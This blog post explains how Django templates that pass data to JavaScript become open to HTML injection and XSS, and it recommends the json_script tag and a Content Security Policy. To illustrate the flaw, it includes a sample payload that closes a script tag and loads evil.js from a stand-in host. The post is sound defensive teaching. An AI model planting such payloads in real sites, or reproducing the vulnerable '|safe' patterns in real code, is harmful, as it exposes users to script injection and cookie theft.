Safely Including Data for JavaScript in a Django Template

Django templates are often used to pass data to JavaScript code. Unfortunately, if implemented incorrectly, this opens up the possibility of HTML injection, and thus XSS (Cross-Site Scripting) attacks.
This is one of the most common security problems I’ve encountered on Django projects. In fact I’ve probably seen it on every considerably-sized Django project, in some form or another.
Also, not naming and shaming, but I’ve also seen it in lots of community resources. This includes conference talks, blog posts, and Stack Overflow answers.
It’s hard to get right! It’s also been historically difficult, since it’s only Django 2.1 that added the json_script
template tag to do this securely. (And the ticket was open six years!)
Let’s look the problem and how we can fix it with json_script
.
The Vulnerable Way
Let’s take this view:
from django.shortcuts import render
def index(request):
mydata = get_mydata()
return render(request, "index.html", context={"mydata": mydata})
…and this template:
<script>
const mydata = "{{ mydata|safe }}";
</script>
Unfortunately as written, the template is open to HTML injection. This is because if the data contains </script>
anywhere, the rest of the result will be parsed as extra HTML. We call this HTML injection, and attackers can use it to add arbitrary (evil) content to your site.
If the mydata
is controllable by third parties in any way, for example a user’s comment, or an API’s return data, attackers might try and use it for HTML injection.
Imagine get_mydata()
returned this crafty string:
'</script><script src="https://example.com/evil.js"></script>'
(I’m using a string but this also applies to dictionaries and lists, since in JavaScript they can also contain strings.)
Then the template would render to:
<script>
const mydata = "</script><script src="https://example.com/evil.js"></script>";
</script>
The browser first parses the page by HTML tags only - with no inspection of the JavaScript inside.
So it sees the first <script>
as closing after mydata = "
. It will attempt to run that JavaScript, which will crash with an error about the incomplete string.
It will then parse the second, injected <script>
tag as a legitimate part of the page. This means it loads evil.js
.
Finally it will render the trailing ";
as text, and ignore the last </script>
as it doesn’t match an opening <script>
.
evil.js
probably does some evil, such as stealing your user’s session cookie and sending it to the attacker.
Ruh roh.
Beware ‘safe’
Our template would be safe if we didn’t use |safe
. Whenever we use the safe
template filter, what we’re really saying is “I promise this data is safe for direct inclusion in HTML”. And that’s not the case here.
If we remove it from the template:
<script>
const mydata = "{{ mydata }}";
</script>
Then we’d not be open to the above attack. But the data would not render as intended:
<script>
const mydata = "&lt;/script&gt;&lt;script src=&quot;https://example.com/evil.js&quot;&gt;&lt;/script&gt;";
</script>
Because all the HTML entities have been escaped, the string will not be usable in JavaScript as intended. Or you’d need to write extra JavaScript to unescape them, which would also open up the opportunity for attack again.
Another Vulnerable Way
Another common vulnerable pattern is to use json.dumps()
in the view, and call that value “safe” in the template. For example, take this view:
import json
from django.shortcuts import render
def index(request):
mydata = get_mydata()
return render(request, "index.html", context={"mydata_json": json.dumps(mydata)})
…and this template:
<script>
const mydata = {{ mydata_json|safe }};
</script>
This looks safer, since we’re serializing the data into JSON, and using the “safe” template filter. Unfortunately it’s just as vulnerable, because it’s also not HTML safe.
Imagine again that mydata
was again the same string as above. That would make mydata_json
equal to:
'"</script><script src="https://example.com/evil.js"></script>"'
(Extra double quotes from json.dumps
, which converted it into a JSON string stored in a Python string.)
Then the template would render to:
<script>
const mydata = "</script><script src="https://example.com/evil.js"></script>";
</script>
Again we have the same problem. The browser will parse the HTML as an incomplete <script>
, then another <script>
to include evil.js
, then the text ";
, and finally an ignored </script>
.
The Secure Way
The best way to avoid this vulnerability with Django is to use the json_script
template tag. This outputs the data in an HTML injection proof way, by using a JSON script tag.
In our template we’d use it like so:
{{ mydata|json_script:"mydata" }}
This will get rendered like so:
<script id="mydata" type="application/json">"\u003C/script\u003E\u003Cscript src=\"https://example.com/evil.js\"\u003E\u003C/script\u003E"</script>
This is a <script>
, but since its type is "application/json"
and not a JavaScript type, the browser won’t execute it. Django has replaced every HTML sensitive character with its JSON string unicode escape form, such as \u003C
. Thus the browser will never see any closing </script>
tags or similar.
We also need to change our JavaScript to fetch the data from that element. Adapting from the Django documentation, the end result would look like:
{{ mydata|json_script:"mydata" }}
<script>
const mydata = JSON.parse(document.getElementById('mydata').textContent);
</script>
Hurray!
Going Further with CSP
If you want to be even more secure, you can go one step further and avoid using inline <script>
tags in your template altogether. That is, move your JavaScript into its own static file, mypage.js
:
const mydata = JSON.parse(document.getElementById('mydata').textContent);
And then refer to it in the template:
{{ mydata|json_script:"mydata" }}
<script src="{% static 'mypage.js' %}"></script>
This is admittedly a litle more effort. But it prevents the problem from ever occurring in your code, because your JavaScript never passes through templating.
You can reduce your XSS risk even further by banning inline scripts on your site. You’d do this with a Content Security Policy (CSP) using the script-src
directive. See my post How to Score A+ for Security Headers on Your Django Website for more information.
What about ‘escapejs’?
Django also provides the escapejs
template tag, that looks like it might work. You might be tempted to use it like this:
<script>
const mydata = "{{ mydata|escapejs }}";
</script>
Unfortunately isn’t safe, as the docs say:
Escapes characters for use in JavaScript strings. This does not make the string safe for use in HTML or JavaScript template literals, but does protect you from syntax errors when using templates to generate JavaScript/JSON.
It’s also not generally useful since it only works for strings, not dictionaries or lists.
Fin
I hope this helps you write more secure Django applications.
Thanks to all those who got json_script
into Django 2.1:
- Gavin Wahl for the intitial implementation in django-argonauts
- Matthew Schinckel and Raphaël Hertzo for alternative implementations in other packages
- Jonas Haag for making the PR to Django
- Aymeric Augustin, Claude Paroz, Florian Apolloner, Markus Holtermann, Nick Pope, Tim Graham, and Tom Forbes for reviewing it
—Adam
Improve your Django develompent experience with my new book.
One summary email a week, no spam, I pinky promise.
Related posts:
- How to Score A+ for Security Headers on Your Django Website
- Getting a Django Application to 100% Test Coverage
Tags: django